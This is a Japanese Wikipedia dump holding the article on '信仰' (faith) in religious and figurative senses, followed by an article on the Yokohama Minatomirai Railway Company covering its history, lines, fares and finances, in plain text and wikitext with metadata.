信仰は「神の民の命の基礎」(イザヤ書 7:9)、とされ、神に対する従順と信頼が真のアブラハムの子孫としての証しであった(シラ 44:19-23)。信仰によって、民は救いと霊魂の不滅が約束されている(知 15:3)、とされた。
キリスト教における信仰。
共観福音書においては、「信仰」や「信仰する」という語はギリシャ語でそれぞれ「pistis」「pisteuein」という語で表現されており、これら信仰を表す語は旧約聖書においてよりも頻繁に用いられている。 信仰は奇跡を起こす(マタイ 17:20、21:21、ルカ 17:6)、とされ、信仰は、神の子、あるいはメシアとして、イエスが神との特別な関係にあると信じること(マルコ 1:24、3:11、15:32、マタイ 8:29、14:33、ルカ 4:41)とされる。 イエスの十字架上の死と復活の後、「救世主イエス」「神の子イエス」に対する信仰は、イエスの弟子たちにより展開・確定し、原始教団の信仰の核となっていった、とされる。
それ以来、キリスト教徒にとっては、唯一の神への信仰は同時にイエス・キリストへの信仰となった。キリストを信じることにより罪のゆるしが得られるのであり(使徒行伝 10:43、26:18)、キリストを信じることは救いのための唯一の必要条件である(使徒行伝 4:12、16:31)、とされるようになった。
3〜5世紀になると、三位一体論とキリスト論の教理が定められ、信仰内容は客観化された。アタナシオス信条として具体化されると、この客観的に表現された事柄を信じることが正統とされ、この信条を受け入れないことは異端とされるようになった。
アウグスティヌスは新プラトン主義に基づいて、神は存在そのものであり、真理と神の認識はひとつであるとした。理性は過ぎ去るものに執着する人間性に基づいたものであるから英知界(mundus intelligibilis)にたどり着けない、信仰に基づく認識のみが真理に到達しうる、とした。また、信仰は神の霊感(inspiratio Dei)であると説いた。また「善を行う神を信頼することによって、よく行動することにとどまる(Credendo adhaerere ad bene operandum bona operanti Dei)」と述べた。これは人間性を回復させるものが愛(アガペー)であることを意味しており、信仰は愛(アガペー)と密接に結びついているとされる。
宗教改革の旗手となったマルティン・ルターは、パウロ書簡を引用して信仰のみによる救済を説いた。信仰義認は、その後のプロテスタントの根幹となるテーゼの一つとなった。
約束や、教えなど。
「信仰」という表現は、転じて、何らかの対象を絶対のものと信じて疑わない状態のことを指すようにもなっている。例えば以下のようなものごとについて用いられる。 | [
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}
]
| 信仰とは、 キリスト教神学的には、神の存在と啓示を真実として信じる事。 神や仏などを信じること。また、ある宗教を信じて、その教えをよりどころとすること。
人やものごとを信用・信頼すること。
証拠抜きで確信を持つこと。またそれらを信じることを正当化する要因。 信仰のことを仏教においては「信心(しんじん)」と呼ぶことが一般的である。「信仰」と書いて古くは「しんごう」と読んでいたこともある。 | {{otheruses2|英語での「Faith」や「Belief」の和訳の1つ|他の類似語|信条|信念}}
{{Redirect|信仰者|クルアーンのスーラ|信者たち (クルアーン)}}
{{Redirect|崇信|中国の県|崇信県}}
'''信仰'''(しんこう、{{lang-en-short|faith}})とは、
*[[キリスト教神学]]的には、神の存在と啓示を真実として信じる事<ref name="Jose">ホセ・ヨンパルト『学問と信仰の世界ー特に法学の場合ー』 成文堂 2013年、ISBN 9784792303518 6C3032 pp.127</ref>。
[[ファイル:Before the Hajj is complete, pilgrims must return to Mecca to perform a "farewell tawaf" around the Kaaba. - Flickr - Al Jazeera English.jpg|thumb|[[イスラム教]]では[[聖地]] [[メッカ]]への[[巡礼]]「[[ハッジ]]」は[[一生]]に一度は果たすべき[[義務]]([[モスク]]「[[マスジド・ハラーム]]」)]]
* [[神]]や[[仏]]などを信じること。また、ある[[宗教]]を信じて、その教えをよりどころとすること<ref>「1 神仏などを信じてあがめること。また、ある[[宗教]]を信じて、その教えを自分のよりどころとすること。」[https://kotobank.jp/word/信仰-81649#E3.83.87.E3.82.B8.E3.82.BF.E3.83.AB.E5.A4.A7.E8.BE.9E.E6.B3.89 yahoo!辞書 デジタル大辞泉-信仰]</ref>。
* 人やものごとを信用・信頼すること<ref>「1. confidence or trust in a person or thing」</ref>。
* 証拠抜きで確信を持つこと<ref name=dic>[http://dictionary.reference.com/browse/faith Dictionary.com - faith]</ref>。またそれらを信じることを正当化する要因<ref>[http://www.iep.utm.edu/f/faith-re.htm The Internet Encyclopedia of philosophy - faith]</ref>。
信仰のことを[[仏教]]においては「'''信心'''(しんじん)」と呼ぶことが一般的である。「信仰」と書いて古くは「しんごう」と読んでいたこともある<ref>広辞苑</ref>。
== 概説 ==
{{Quotation|神を感じるのは心であって、理性ではない。信仰とはこのようなものなのである。|[[ブレーズ・パスカル]]|『[[パンセ]]』 断章278}}
このように、この語は多くの場合宗教的概念、例えば神、教義などを信じることに対して用いる<ref name=dic />。
[[広辞苑]]によれば、信仰は一般に、畏怖よりも何らかの親和の気持ちが根源にあるとしている<ref group="注釈">畏怖の気持ちが根源にあるものについては、別の語("崇敬"など)をあてるのが一般的。</ref>。
「[[宗教]]」という語が、組織や制度までも含めて指す包括的な語であるのに対し、「信仰」や「信心」は人(あるいは人々)の意識に焦点をあてた語である。
また、何らかの対象を絶対のものと信じて、疑わないこと<ref>「2 特定の対象を絶対のものと信じて疑わないこと」 [https://kotobank.jp/word/信仰-81649#E3.83.87.E3.82.B8.E3.82.BF.E3.83.AB.E5.A4.A7.E8.BE.9E.E6.B3.89 yahoo!辞書 デジタル大辞泉-信仰]</ref>を指すこともある。この用法は、日本語では比喩的且つ否定的なニュアンスを持つ修辞として用いられる事が多いが<ref name="Hase">長谷千代子、川口幸大・瀬川昌久(編)『現代中国の宗教:信仰と社会をめぐる民族誌』 昭和堂 2013年、ISBN 978-4-8122-1233-2 pp.38-41.</ref>、公的な[[中国語]]での「信仰」の概念は、宗教も[[マルクス主義]]信仰などの宗教以外の信仰も同等に対象とされ、同じ文脈で語られ得る<ref name="Hase"/>。
== 各宗教における信仰 ==
=== 初期ユダヤ教、旧約聖書における信仰 ===
初期[[ユダヤ教]]、[[旧約聖書]]においては、信仰の概念は神に対する人間の態度であって、神に対する従順と信頼がテーマとされた ([[創世記]] 15:6、イザヤ書 7:9)。初期ユダヤ教において、信仰の典型あるいは最も古典的な例として扱われているのは[[アブラハム]]のそれである(創世記 15:6)。
信仰は「神の民の命の基礎」([[イザヤ書]] 7:9)、とされ、神に対する従順と信頼が真のアブラハムの子孫としての証しであった(シラ 44:19-23)。信仰によって、民は救いと霊魂の不滅が約束されている(知 15:3)、とされた。
=== キリスト教における信仰 ===
[[キリスト教]]における信仰。
==== 新約聖書 ====
[[共観福音書]]においては、「信仰」や「信仰する」という語はギリシャ語でそれぞれ「pistis」「pisteuein」という語で表現されており、これら信仰を表す語は旧約聖書においてよりも頻繁に用いられている。
信仰は[[奇跡]]を起こす(マタイ 17:20、21:21、ルカ 17:6)、とされ、信仰は、神の子、あるいは[[メシア]]として、イエスが神との特別な関係にあると信じること([[マルコによる福音書|マルコ]] 1:24、3:11、15:32、[[マタイによる福音書|マタイ]] 8:29、14:33、[[ルカによる福音書|ルカ]] 4:41)とされる。
イエスの[[十字架]]上の死と[[復活 (キリスト教)|復活]]の後、「救世主イエス」「神の子イエス」に対する信仰は、イエスの弟子たちにより展開・確定し、原始教団の信仰の核となっていった<ref name="nc390">『[[新カトリック大事典]] III』p.390</ref>、とされる。
それ以来、キリスト教徒にとっては、唯一の神への信仰は同時に[[イエス・キリスト]]への信仰となった<ref name="nc390" />。キリストを信じることにより罪のゆるしが得られるのであり(使徒行伝 10:43、26:18)<ref name="nc390" />、キリストを信じることは救いのための唯一の必要条件である([[使徒行伝]] 4:12、16:31)<ref name="nc390" />、とされるようになった。
==== 3〜5世紀 ====
3〜5世紀になると、[[三位一体]]論とキリスト論の教理が定められ、信仰内容は客観化された。[[アタナシオス信条]]として具体化されると、この客観的に表現された事柄を信じることが正統とされ、この信条を受け入れないことは[[異端]]とされるようになった<ref name="nc391">『新カトリック大事典 III』p.391</ref>。
==== アウグスティヌス ====
[[アウグスティヌス]]は[[新プラトン主義]]に基づいて、神は存在そのものであり、真理と神の認識はひとつであるとした<ref name="nc391" />。理性は過ぎ去るものに執着する人間性に基づいたものであるから英知界(mundus intelligibilis)にたどり着けない、信仰に基づく認識のみが真理に到達しうる、とした<ref name="nc391" />。また、信仰は神の[[霊感]](inspiratio Dei)であると説いた。また「善を行う神を信頼することによって、よく行動することにとどまる(Credendo adhaerere ad bene operandum bona operanti Dei)」と述べた。これは人間性を回復させるものが愛([[アガペー]])であることを意味しており、信仰は愛([[アガペー]])と密接に結びついている<ref name="nc391" />とされる。
==== 宗教改革以後 ====
[[宗教改革]]の旗手となった[[マルティン・ルター]]は、[[パウロ書簡]]を引用して信仰のみによる救済を説いた。[[信仰義認]]は、その後の[[プロテスタント]]の根幹となるテーゼの一つとなった<ref>{{Kotobank|信仰義認|2=世界大百科事典}}</ref>。
== 信仰対象の例 ==
=== 超絶的存在、究極の存在 ===
<ref group="注釈">超絶的存在という語を使用しているのは、宗教を定義する時に「超絶的存在」「超越的存在」といった言葉を用いつつ行うのがひとつのオーソドックスで古典的な方法であり、概念構造がはっきりとし、便宜上好ましいからである(例えば『宗教学辞典』(東京大学出版会)の宗教の項などを熟読のこと)</ref>
* 神 ([[ヤーウェ]]、[[アッラー]]、[[ブラフマー]]など。特に[[一神教]]の神。[[神の一覧]]も参照)
*: 一神教の立場からは、神以外のものを信仰の対象とすることを「[[偶像崇拝]]」といって忌み嫌う。
* [[法 (仏教)|ダルマ]]、[[仏]] ([[仏の一覧]])
==== 超絶的な存在から与えられたとされる言葉 ====
約束や、教えなど<ref group="注釈">「[[旧約聖書]]」「[[新約聖書]]」に含まれる「約」の字は「約束」「契約」を意味している。</ref>。
* [[聖典]]、[[啓典]] ([[旧約聖書]]、[[新約聖書]]、[[コーラン]]など)<ref group="注釈">[[ユダヤ教]]、[[キリスト教]]、[[イスラム教]]においては聖典が特に重視されていることから、それらを指す「聖典宗教」という呼称も存在する。</ref>
* [[経典]]
==== 超絶的存在と深い関係があると見なされている人など ====
* [[イエス・キリスト]]、[[聖母マリア]]、[[守護聖人]]
* [[釈尊]]、[[菩薩]]
==== 上記の人にまつわる物 ====
* [[聖遺物]]
* [[仏舎利]]
=== [[多神教]]や[[アニミズム]]における神、自然物、自然の生物 ===
* [[神 (神道)|神道における神]] ([[日本の神の一覧]])
* [[精霊]](日本の[[天狗]]、東南アジアの[[ピー信仰|ピー]]、アラビアの[[ジン (アラブ)|ジン]]など)
* [[自然崇拝]]:[[太陽]]、[[月]]、[[天体|星]]、[[風]]、[[山]]([[山岳信仰]])、[[洞窟]]、[[鍾乳洞]]、[[海]]、[[泉]]、[[岩石]]<!--{{要出典範囲|(あるいは[[宇宙]]全体、[[森羅万象]])}}-->
* [[ヘビ]]、[[キツネ]]、[[クマ]]、[[ネコ]]、[[イヌ]]、[[オオカミ]]:[[トーテミズム]]にもとづく説明が可能な場合もある。
=== その他の人 ===
* [[ファラオ]] - [[古代エジプト]]の王。
* [[孔子]]
* [[菅原道真]] - 学問の神
* [[徳川家康]] - [[徳川家康#墓所・霊廟|東照大権現]]
* [[豊臣秀吉]] - [[豊臣秀吉#墓所・霊廟・神社|豊国大明神]]
* [[関羽]] - [[関帝]]
* (かつての)[[天皇]] - [[国家神道#天皇の神格性と「現人神」|国家神道]]によって、神とせられた。[[人間宣言]]によって神ではなくなる。
* [[ハイレ・セラシエ1世#ラスタファリアン|ハイレ・セラシエ1世]] - 黒人の王を待望する[[ラスタファリ運動]]によって[[現人神]]・[[ジャー]](主)と称えられた。
== 比喩的用法 ==
「信仰」という表現は、転じて、何らかの対象を絶対のものと信じて疑わない状態のことを指すようにもなっている<ref>「2 特定の対象を絶対のものと信じて疑わないこと」[http://dic.yahoo.co.jp/dsearch?enc=UTF-8&p=信仰&dtype=0&dname=0na&stype=0&pagenum=1&index=10883209532100 yahoo!辞書-信仰]</ref>。例えば以下のようなものごとについて用いられる。
* [[科学]](科学への信仰は「[[科学信仰]]」「[[科学崇拝]]」あるいは「[[科学主義]]」などの呼称で呼ばれている。)
* [[医療]](医療への信仰は「医療信仰」の呼称が一般的。)
* [[学歴]](学歴への信仰は「学歴信仰」や「学歴崇拝」と呼ばれている。→ [[学歴信仰]]が参照可)
* 特定の[[メーカー]]や[[ブランド]]や「商品」、[[ライフスタイル]]など(例:「エバンジェリスト(アップル信者)」「ソニー信者」「ホンダ信者」「セガ信者」「シャープ信者(もしくは[[X68000]]信者)」「ムジラー(無印良品信者)」「スタバ信者」「モス信者」「[[ほっこりすと]]」「[[プレッパー]]」「[[フーリガン]]」「[[イルミネーター]]」「[[ホメオパス]]([[ホメオパシー]]信奉者)」「[[ももいろクローバーZ#ファン|モノノフ]]」「[[2ちゃんねらー]]」「[[マヨラー]]」「[[ハルキスト]]([[村上春樹]]作品の熱烈な支持者)」「[[チャーケニスト]](カルトTVアニメ「[[チャージマン研]]」マニア)」)
== 脚注 ==
{{脚注ヘルプ}}
=== 注釈 ===
{{Reflist|group="注釈"}}
=== 出典 ===
{{Reflist|2}}
== 参考文献 ==
* 『新カトリック大事典』
== 関連項目 ==
{{wiktionary}}
* [[信仰の自由]]
* [[信者]]
* [[民間信仰]]
** [[十王信仰]]
** [[庚申信仰]]
** [[御霊信仰]]
* [[御神体]] - [[本尊]]
* [[祖霊]] - [[祖先崇拝]]
* [[シャーマニズム]] - [[原始宗教]]
* [[原理主義]]
* [[個人崇拝]]
* [[パスカルの賭け]]
* [[神秘]] - [[神秘主義]] - [[スピリチュアリティ]]
* [[偶像崇拝]]
== 外部リンク ==
{{IEP|faith-re|Faith and Reason|信仰と理性}}
{{宗教}}
{{Reli-stub}}
{{Normdaten}}
{{DEFAULTSORT:しんこう}}
[[Category:信仰|*]]
[[Category:宗教行為]]
[[Category:宗教|*+しんこう]]
[[Category:七元徳]] | 2003-04-17T04:44:38Z | 2023-10-01T06:17:04Z | false | false | false | [
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]
| https://ja.wikipedia.org/wiki/%E4%BF%A1%E4%BB%B0 |
6,849 | 横浜高速鉄道 | 横浜高速鉄道株式会社(よこはまこうそくてつどう、英: YOKOHAMA MINATOMIRAI RAILWAY COMPANY)は、みなとみらい線の運営およびこどもの国線の保有を行う鉄道事業者である。本社は神奈川県横浜市中区元町1丁目の元町・中華街駅と同一場所に所在する。
横浜みなとみらい21開発の一環として計画された鉄道新線「みなとみらい線」の事業主体として、1989年(平成元年)3月29日に横浜市や神奈川県などが出資する第三セクターとして設立された。民間の最大株主は、列車運行面などで関わりが深い東急電鉄の親会社である東急となっている。
横浜市が横浜市交通局の路線(横浜市営地下鉄)ではなく第三セクター鉄道方式を採用した理由は、同時期にブルーラインの延伸とグリーンラインの開業計画が進んでおり、交通局として新事業に着手するのは困難だったためである。
後にこどもの国線を通勤線化するにあたり、1997年(平成9年)8月1日に社会福祉法人こどもの国協会から鉄道施設を譲受し、同路線の第三種鉄道事業者となった(こどもの国協会時代から引き続いて東急電鉄が第二種鉄道事業者として運行を行う)。
みなとみらい線は、2004年2月1日の開業時から東急東横線と相互直通運転を行っており、2013年3月16日には東急東横線が東京メトロ副都心線・東武東上線・西武有楽町線・池袋線・狭山線との相互直通運転を開始し、東急電鉄・東京地下鉄・東武鉄道・西武鉄道の4事業者への直通運転も実施されている。また、2017年3月25日からは座席指定列車のS-TRAINの運行が開始され、西武池袋線経由で西武秩父線まで乗り入れている。
大人普通旅客運賃(小児半額・ICカードの場合は1円未満の端数切り捨て、切符利用の場合は10円未満の端数切り上げ)。
みなとみらい線、こどもの国線ともに、東急電鉄の路線とは運賃が別建てとなっている。
自社独自の車庫はなく、両車両とも運行および整備は東急電鉄に委託されている。ただし上記検車区の一部を借地契約で自社の基地として使用する形態となっており、形式上は横浜高速鉄道の車両基地に所属する扱いとなっている。
京浜急行電鉄横浜駅の改良工事にあたり、鉄道駅総合改善事業の補助金を受けるため、横浜高速鉄道が事業主体となって北部改札施設・みなみ通路接続通路・下りホーム等を整備し、完成後は京浜急行電鉄に賃貸している。
2004年(平成16年)2月1日のみなとみらい線開業に伴い、着実に営業利益を伸長させてきている(2014年3月期の営業利益は約16.1億円)一方で、設備投資等も要求され借入金や長期債務の金利負担が重く、毎期20億円近くの支払利息が発生しているものの、堅調な営業利益増や、それによる金利負担削減策等で、2014年3月期において初めて約3.9億円の純利益を計上した。しかし2015年3月期は約3.4億円の赤字と再び赤字決算となったことで、現時点で約122.5億円近い累積欠損を抱えており、暫くは厳しい経営状況下にある。 | [
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"text": "横浜高速鉄道株式会社(よこはまこうそくてつどう、英: YOKOHAMA MINATOMIRAI RAILWAY COMPANY)は、みなとみらい線の運営およびこどもの国線の保有を行う鉄道事業者である。本社は神奈川県横浜市中区元町1丁目の元町・中華街駅と同一場所に所在する。",
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"text": "横浜みなとみらい21開発の一環として計画された鉄道新線「みなとみらい線」の事業主体として、1989年(平成元年)3月29日に横浜市や神奈川県などが出資する第三セクターとして設立された。民間の最大株主は、列車運行面などで関わりが深い東急電鉄の親会社である東急となっている。",
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"text": "みなとみらい線は、2004年2月1日の開業時から東急東横線と相互直通運転を行っており、2013年3月16日には東急東横線が東京メトロ副都心線・東武東上線・西武有楽町線・池袋線・狭山線との相互直通運転を開始し、東急電鉄・東京地下鉄・東武鉄道・西武鉄道の4事業者への直通運転も実施されている。また、2017年3月25日からは座席指定列車のS-TRAINの運行が開始され、西武池袋線経由で西武秩父線まで乗り入れている。",
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"text": "自社独自の車庫はなく、両車両とも運行および整備は東急電鉄に委託されている。ただし上記検車区の一部を借地契約で自社の基地として使用する形態となっており、形式上は横浜高速鉄道の車両基地に所属する扱いとなっている。",
"title": "車両"
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"text": "京浜急行電鉄横浜駅の改良工事にあたり、鉄道駅総合改善事業の補助金を受けるため、横浜高速鉄道が事業主体となって北部改札施設・みなみ通路接続通路・下りホーム等を整備し、完成後は京浜急行電鉄に賃貸している。",
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"text": "2004年(平成16年)2月1日のみなとみらい線開業に伴い、着実に営業利益を伸長させてきている(2014年3月期の営業利益は約16.1億円)一方で、設備投資等も要求され借入金や長期債務の金利負担が重く、毎期20億円近くの支払利息が発生しているものの、堅調な営業利益増や、それによる金利負担削減策等で、2014年3月期において初めて約3.9億円の純利益を計上した。しかし2015年3月期は約3.4億円の赤字と再び赤字決算となったことで、現時点で約122.5億円近い累積欠損を抱えており、暫くは厳しい経営状況下にある。",
"title": "損益"
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]
| 横浜高速鉄道株式会社は、みなとみらい線の運営およびこどもの国線の保有を行う鉄道事業者である。本社は神奈川県横浜市中区元町1丁目の元町・中華街駅と同一場所に所在する。 | {{混同|横浜市営地下鉄|x1=「横浜市高速鉄道」を正式名称とする}}
{{基礎情報 会社
| 社名 = 横浜高速鉄道株式会社
| 英文社名 = YOKOHAMA MINATOMIRAI RAILWAY COMPANY
| ロゴ = [[File:YMRC logomark.svg|100px]]
| 画像 = [[File:Yokohama_Minatomirai_Railway_Company.jpg|250px]]
| 画像説明 = 本社(元町・中華街駅)
| 種類 = [[株式会社 (日本)|株式会社]]
| 市場情報 = <!-- 株式非公開会社において「非上場」などと書く必要はありません -->
| 略称 =
| 国籍 = {{JPN}}
| 本社郵便番号 = 231-0861
| 本社所在地 = [[神奈川県]][[横浜市]][[中区 (横浜市)|中区]][[元町 (横浜市)|元町1丁目]]11番地<ref name="outline">{{Cite web|url=https://www.mm21railway.co.jp/info/corpo/corpo.html|title=会社概要|publisher=横浜高速鉄道株式会社|accessdate=2016-10-15|archiveurl=https://web.archive.org/web/20230320045318/https://www.mm21railway.co.jp/info/corpo/corpo.html|archivedate=2023-03-20}}</ref>([[元町・中華街駅]]元町口)
| 本社緯度度 = 35
| 本社緯度分 = 26
| 本社緯度秒 = 30.2
| 本社N(北緯)及びS(南緯) = N
| 本社経度度 = 139
| 本社経度分 = 39
| 本社経度秒 = 5.3
| 本社E(東経)及びW(西経) = E
| 本社地図国コード = JP-14
| 設立 = 1989年(平成元年)3月29日<ref name="outline" />
| 業種 = 陸運業
| 統一金融機関コード =
| SWIFTコード =
| 事業内容 = 第一種鉄道事業 他
| 代表者 = {{Plainlist|
* 代表取締役社長 森秀毅<ref name="outline" />
* 代表取締役常務 川瀬良幸
}}
| 資本金 =
* 507億1900万円
(2023年3月31日現在)<ref name="yuho35">{{Cite report |和書 |author=横浜高速鉄道株式会社 |date=2023-06-23 |title=第35期(2022年4月1日 - 2023年3月31日)有価証券報告書}}</ref><!-- 数値を更新する際は出典を修正してください -->
| 発行済株式総数 =
* 普通株式 55万5240株
* 後配株式 45万7940株
(2023年3月31日現在)<ref name="yuho35" /><!-- 数値を更新する際は出典を修正してください -->
| 売上高 =
* 110億2049万7000円
(2023年3月期)<ref name="yuho35" /><!-- 数値を更新する際は出典を修正してください -->
| 営業利益 =
* 5億2800万8000円
(2023年3月期)<ref name="yuho35" /><!-- 数値を更新する際は出典を修正してください -->
| 経常利益 =
* △3億7031万0000円
(2023年3月期)<ref name="yuho35" /><!-- 数値を更新する際は出典を修正してください -->
| 純利益 =
* △3億3190万2000円
(2023年3月期)<ref name="yuho35" /><!-- 数値を更新する際は出典を修正してください -->
| 純資産 =
* 347億5626万1000円
(2023年3月31日現在)<ref name="yuho35" /><!-- 数値を更新する際は出典を修正してください -->
| 総資産 =
* 2019億3341万9000円
(2023年3月31日現在)<ref name="yuho35" /><!-- 数値を更新する際は出典を修正してください -->
| 従業員数 = 111人(2023年3月31日現在)<ref name="yuho35" /><!-- 数値を更新する際は出典を修正してください -->
| 決算期 = [[3月31日]]
| 会計監査人 = [[EY新日本有限責任監査法人]]<ref name="yuho35" /><!-- 数値を更新する際は出典を修正してください -->
| 主要株主 = {{Plainlist|
* [[横浜市]] 18.36%
* [[神奈川県]] 8.88%
* [[東急]] 4.44%
* [[三菱地所]] 3.73%
* [[日本政策投資銀行]] 1.97%
* [[京浜急行電鉄]] 1.66%
* [[都市再生機構]] 1.28%
* [[横浜銀行]] 1.24%
* [[相鉄ホールディングス]] 1.02%
* [[三菱UFJ銀行]] 1.00%
* (2023年3月31日現在)<ref name="yuho35" /><!-- 数値を更新する際は出典を修正してください -->
}}
| 主要子会社 =
| 関係する人物 = {{Plainlist|
* [[細郷道一]](初代社長、横浜市長兼務)
* [[高木文雄]](2代目社長、元 [[日本国有鉄道#歴代の国鉄総裁|国鉄総裁]]・[[横浜みなとみらい21]]社長)
}}
| 外部リンク = https://www.mm21railway.co.jp/
| 特記事項 =
}}
'''横浜高速鉄道株式会社'''(よこはまこうそくてつどう、{{Lang-en-short|YOKOHAMA MINATOMIRAI RAILWAY COMPANY}}<ref>{{Cite report |和書 |author=横浜高速鉄道株式会社 |date=2023-06-23 |title=第35期(2022年4月1日 - 2023年3月31日)有価証券報告書 表紙英訳名}}</ref>)は、[[横浜高速鉄道みなとみらい線|'''みなとみらい線''']]の運営<ref>[http://www.mm21railway.co.jp/ みなとみらい線] {{Wayback|url=http://www.mm21railway.co.jp/ |date=20021124073211 }} - 横浜高速鉄道(2019年12月9日閲覧)</ref>および[[東急こどもの国線|'''こどもの国線''']]の保有<ref>[http://www.mm21railway.co.jp/info/kodomo.html こどもの国線] {{Wayback|url=http://www.mm21railway.co.jp/info/kodomo.html |date=20191208233253 }} - 横浜高速鉄道(2019年12月9日閲覧)</ref>を行う[[鉄道事業者]]である。本社は[[神奈川県]][[横浜市]][[中区 (横浜市)|中区]][[元町 (横浜市)|元町1丁目]]の[[元町・中華街駅]]と同一場所に所在する<ref name="outline"/>。
== 概要 ==
[[横浜みなとみらい21]]開発の一環として計画された鉄道新線「みなとみらい線」の事業主体として、[[1989年]]([[平成]]元年)[[3月29日]]に[[横浜市役所|横浜市]]や[[神奈川県庁|神奈川県]]などが出資する[[第三セクター]]として設立された。民間の最大株主は、列車運行面などで関わりが深い[[東急電鉄]]の親会社である[[東急]]となっている。
横浜市が[[横浜市交通局]]の路線([[横浜市営地下鉄]])ではなく[[第三セクター鉄道]]方式を採用した理由は、同時期に[[横浜市営地下鉄ブルーライン|ブルーライン]]の延伸と[[横浜市営地下鉄グリーンライン|グリーンライン]]の開業計画が進んでおり、交通局として新事業に着手するのは困難だったためである<ref name=hamarepo6283>[https://hamarepo.com/story.php?story_id=6283 どうしてこうなの!? 東横線と直通するみなとみらい線が東急電鉄と別会社な深いワケ] {{Wayback|url=https://hamarepo.com/story.php?story_id=6283 |date=20201118073658 }} [[はまれぽ.com]]、2017年08月25日、2020年1月19日閲覧。</ref>。
後にこどもの国線を通勤線化するにあたり、[[1997年]](平成9年)[[8月1日]]に[[社会福祉法人]][[こどもの国 (横浜市)|こどもの国協会]]から鉄道施設を譲受し、同路線の[[鉄道事業者#第三種鉄道事業|第三種鉄道事業者]]となった(こどもの国協会時代から引き続いて東急電鉄が[[鉄道事業者#第二種鉄道事業|第二種鉄道事業者]]として運行を行う)。
== 沿革 ==
* [[1989年]]([[平成]]元年)[[3月29日]] - [[横浜高速鉄道みなとみらい線|みなとみらい線]]の事業主体として設立。
* [[1990年]](平成2年)[[4月19日]] - みなとみらい線の第一種鉄道事業免許取得。
*: 同日付で、競合する[[横浜市営地下鉄]]3号線([[関内]] - [[山下町 (横浜市)|山下町]])の鉄道事業免許が廃止された<ref>「横浜市高速鉄道建設史II 年表([[昭和]]61年〜平成15年)」『横浜市高速鉄道建設史II』(横浜市交通局、2004年3月)</ref>。
* [[1992年]](平成4年)11月 - みなとみらい線の建設開始。
* [[1997年]](平成9年)[[8月1日]] - [[東急こどもの国線|こどもの国線]]を通勤線化するにあたり、社会福祉法人[[こどもの国 (横浜市)|こどもの国協会]]から施設を譲り受け、同線の第三種鉄道事業者となる。
* [[1999年]](平成11年)8月1日 - こどもの国線で[[横浜高速鉄道Y000系電車|Y000系]]営業運転開始。
* [[2000年]](平成12年)[[3月29日]] - こどもの国線の通勤線化完成<ref>[https://www.city.yokohama.lg.jp/kurashi/machizukuri-kankyo/kotsu/toshikotsu/network/kodomo.html こどもの国線の通勤線化] {{Wayback|url=https://www.city.yokohama.lg.jp/kurashi/machizukuri-kankyo/kotsu/toshikotsu/network/kodomo.html |date=20191207155221 }} - 横浜市(2019年12月9日閲覧)</ref>。
* [[2004年]](平成16年)2月1日 - みなとみらい線開業、[[東急東横線]]と相互直通運転開始、同線で[[横浜高速鉄道Y500系電車|Y500系]]営業運転開始。
* [[2007年]](平成19年)3月18日 - [[PASMO]]を導入。[[Suica]]と相互利用可。
* [[2008年]](平成20年)[[3月14日]] - [[パスネット]]の自動改札機での使用を終了。なお、カードに印字される略号は'''YM'''だった。
* [[2013年]](平成25年)
** [[3月16日]] - 東急東横線を介して[[東京メトロ副都心線]]・[[東武東上本線|東武東上線]]・[[西武有楽町線]]・[[西武池袋線]]と相互直通運転開始。
** [[3月23日]] - [[交通系ICカード全国相互利用サービス]]開始。
* [[2019年]]([[令和]]元年)[[10月1日]] - みなとみらい線開業15周年を記念し、制服をリニューアル<ref>[https://www.nikkei.com/article/DGXMZO49797090T10C19A9L82000/ 「みなとみらい線15周年 制服刷新」] {{Wayback|url=https://www.nikkei.com/article/DGXMZO49797090T10C19A9L82000/ |date=20191208233232 }}『[[日本経済新聞]]』朝刊2019年9月14日(首都圏経済面)2019年12月9日閲覧</ref>。
* [[2021年]](令和3年)[[11月6日]] - みなとみらい線新高島駅での可動式ホーム柵使用開始により、同線内全駅で設置が完了<ref>{{Cite press release|1=和書|title=新高島駅可動式ホーム柵が 11 月 6 日(土)より使用開始 〜みなとみらい線全駅における可動式ホーム柵の整備が完了〜|publisher=横浜高速鉄道|date=2021-11-04|url=https://www.mm21railway.co.jp/info/news/uploads/press%20release_20211104.pdf|format=PDF|access-date=2023-01-31|archive-date=2021年11月4日|archive-url=https://web.archive.org/web/20211104041306/https://www.mm21railway.co.jp/info/news/uploads/press%20release_20211104.pdf|url-status=live}}</ref>。
* [[2023年]](令和5年)[[3月18日]] - みなとみらい線で[[ワンマン運転]]を順次開始<ref>[https://web.archive.org/web/20230217172751/https://www.mm21railway.co.jp/info/news/2023/02/post-300.html みなとみらい線のワンマン運転を開始します。] - お知らせ一覧2023年2月15日閲覧</ref>。
== 路線 ==
*[[File:Number prefix Minatomirai.svg|20px]] [[横浜高速鉄道みなとみらい線|みなとみらい線]](みなとみらい21線):[[横浜駅]] (MM01) - [[元町・中華街駅]] (MM06)(4.1 km、[[鉄道事業者#第一種鉄道事業|第一種鉄道事業者]])
*[[File:Tokyu KD line symbol.svg|20px]] [[東急こどもの国線|こどもの国線]]:[[長津田駅]] (KD01) - [[こどもの国駅 (神奈川県)|こどもの国駅]] (KD03)(3.4 km、[[鉄道事業者#第三種鉄道事業|第三種鉄道事業者]]。[[鉄道事業者#第二種鉄道事業|第二種鉄道事業者]]は[[東急電鉄]])
みなとみらい線は、2004年2月1日の開業時から[[東急東横線]]と[[相互直通運転]]を行っており、2013年3月16日には東急東横線が[[東京メトロ副都心線]]・[[東武東上本線|東武東上線]]・[[西武有楽町線]]・[[西武池袋線|池袋線]]・[[西武狭山線|狭山線]]との相互直通運転を開始し、東急電鉄・[[東京地下鉄]]・[[東武鉄道]]・[[西武鉄道]]の4事業者への直通運転も実施されている。また、2017年3月25日からは座席指定列車の[[S-TRAIN]]の運行が開始され、<!--東急東横線・東京メトロ副都心線・-->西武<!--有楽町線・-->池袋線経由で[[西武秩父線]]まで乗り入れている。
=== 運賃 ===
大人普通旅客運賃(小児半額・ICカードの場合は1円未満の端数切り捨て、切符利用の場合は10円未満の端数切り上げ)<ref>{{PDFlink|[http://www.mm21railway.co.jp/info/news/uploads/press%20release_20190905.pdf 旅客運賃の改定について]}} - 横浜高速鉄道、2019年9月5日</ref>。
みなとみらい線、こどもの国線ともに、東急電鉄の路線とは運賃が別建てとなっている。
* みなとみらい線
{| class="wikitable" border="1" style="margin-left:40px; text-align:center;"
|-
! rowspan="2" | キロ程 !! colspan="2" | 運賃
|-
! IC !! 切符
|-
| 1 - 3 || 193 || 200
|-
| 4 - 5 || 224 || 230
|}
